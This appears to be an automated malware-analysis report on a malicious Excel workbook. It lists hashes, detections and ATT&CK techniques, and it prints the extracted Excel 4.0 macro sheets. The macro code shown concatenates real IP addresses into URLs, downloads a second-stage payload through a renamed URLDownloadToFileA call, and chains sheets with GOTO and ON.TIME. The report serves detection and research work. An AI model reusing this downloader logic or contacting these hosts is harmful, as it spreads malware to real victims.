Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e4fd5034cbfd1584…

MALICIOUS

Office (OOXML)

198.7 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: c27286eda176efa875417b6636e8891a SHA-1: 50d6089eec71247638850840e0d3412965781225 SHA-256: e4fd5034cbfd1584dfc6508f867f7681125df7174e50bfdae1f362dbfc610230
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like FORMULA, GOTO, and HALT, and specifically call Win32 APIs such as URLDownloadToFileA to download a second-stage payload. The script attempts to execute this payload using 'rundll32' with the reconstructed path '..\lertio.cersw'.

Heuristics 7

  • ClamAV: Xls.Downloader.GreenEnable052-9863734-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable052-9863734-1
  • Excel 4.0 macro sheet (6 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1190 bytes
SHA-256: e26278d9df62929caddc39c2675d1a93c805965a35896b4c4240468b728373e2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 3238 bytes
SHA-256: 6b2eadca967f1ca05ab3ed3cdbb53199867ac24ff0430a3a3d1873f363f31f19
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="C20:G35"/><sheetViews><sheetView showFormulas="1" topLeftCell="A4" workbookViewId="0"><selection activeCell="A4" sqref="A4"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="3" width="9.140625" style="1"/><col min="4" max="4" width="19.42578125" style="1" bestFit="1" customWidth="1"/><col min="5" max="5" width="9.140625" style="1"/><col min="6" max="6" width="30.140625" style="1" customWidth="1"/><col min="7" max="7" width="34.42578125" style="1" customWidth="1"/><col min="8" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="20" spans="3:7" x14ac:dyDescent="0.25"><c r="F20" s="1" t="b"><f>FORMULA(Sheet000!P16,F27)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="3:7" x14ac:dyDescent="0.25"><c r="F23" s="1" t="str"><f>NOW()&amp;".dat"</f><v>44329,6550195602.dat</v></c></row><row r="25" spans="3:7" x14ac:dyDescent="0.25"><c r="C25" s="1" t="s"><v>6</v></c></row><row r="26" spans="3:7" x14ac:dyDescent="0.25"><c r="C26" s="1" t="s"><v>8</v></c></row><row r="27" spans="3:7" x14ac:dyDescent="0.25"><c r="C27" s="1" t="s"><v>7</v></c><c r="G27" s="1" t="str"><f>"htt"</f><v>htt</v></c></row><row r="28" spans="3:7" x14ac:dyDescent="0.25"><c r="C28" s="1" t="s"><v>0</v></c><c r="E28" s="1" t="str"><f>"188.165.62.39/"</f><v>188.165.62.39/</v></c><c r="F28" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E28&amp;F23,"..\lertio.cersw",0,0)</f><v>#NAME?</v></c><c r="G28" s="1" t="s"><v>13</v></c></row><row r="29" spans="3:7" x14ac:dyDescent="0.25"><c r="C29" s="1" t="s"><v>1</v></c><c r="E29" s="1" t="str"><f>"45.67.231.238/"</f><v>45.67.231.238/</v></c><c r="F29" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E29&amp;F23,"..\lertio.cersw1",0,0)</f><v>#NAME?</v></c></row><row r="30" spans="3:7" x14ac:dyDescent="0.25"><c r="C30" s="1" t="s"><v>3</v></c><c r="E30" s="1" t="str"><f>"190.14.37.71/"</f><v>190.14.37.71/</v></c><c r="F30" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E30&amp;F23,"..\lertio.cersw2",0,0)</f><v>#NAME?</v></c></row><row r="31" spans="3:7" x14ac:dyDescent="0.25"><c r="C31" s="1" t="s"><v>2</v></c></row><row r="35" spans="6:6" x14ac:dyDescent="0.25"><c r="F35" s="1" t="e"><f>GOTO(Sheet2!H13)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2299 bytes
SHA-256: 885dac7b9ca2b9e8230baf49dad2ec27d3477b45eb4960d36b69b3166c4addb8
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="H19:L31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="8.140625" style="1"/><col min="8" max="9" width="8.140625" style="1" customWidth="1"/><col min="10" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="19" spans="8:12" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J18&amp;Sheet000!J19,H25)=PI()=PI()=PI()</f><v>0</v></c><c r="J19" s="1" t="s"><v>6</v></c></row><row r="20" spans="8:12" x14ac:dyDescent="0.25"><c r="J20" s="1" t="s"><v>14</v></c></row><row r="21" spans="8:12" x14ac:dyDescent="0.25"><c r="J21" s="1" t="s"><v>15</v></c></row><row r="22" spans="8:12" x14ac:dyDescent="0.25"><c r="J22" s="1" t="s"><v>9</v></c><c r="K22" s="1" t="s"><v>12</v></c><c r="L22" s="1" t="s"><v>11</v></c></row><row r="23" spans="8:12" x14ac:dyDescent="0.25"><c r="J23" s="1" t="s"><v>10</v></c></row><row r="24" spans="8:12" x14ac:dyDescent="0.25"><c r="J24" s="1" t="s"><v>5</v></c></row><row r="25" spans="8:12" x14ac:dyDescent="0.25"><c r="J25" s="1" t="s"><v>4</v></c></row><row r="31" spans="8:12" x14ac:dyDescent="0.25"><c r="H31" s="1" t="e"><f>GOTO(Sheet3!G2)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1481 bytes
SHA-256: 14198d56b3e501819788d2ba3deb676eae1c92f5b98789f221df62060b8b227d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1155E9B9-B0CD-42F9-A966-3A754062B27E}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.28515625" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J21&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="e"><f>GOTO(Sheet4!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1469 bytes
SHA-256: 37cb7aa1e44520111e622e68f961c06b193624824122bd99088e7c0d058baf3c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8D29E0F2-14A8-4D3C-A016-AA1287FA05D1}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J22&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1476 bytes
SHA-256: 68e2eada477a01dd45889d7781ac27297df589224a5824d7ff63a37df7f5bc75
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{65E179ED-D9FF-4EED-BC75-2D2CB5EF5CA2}"><dimension ref="A10:A15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A2" sqref="A2"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="1:1" x14ac:dyDescent="0.25"><c r="A10" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02","Hot")</f><v>0</v></c></row><row r="15" spans="1:1" x14ac:dyDescent="0.25"><c r="A15" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>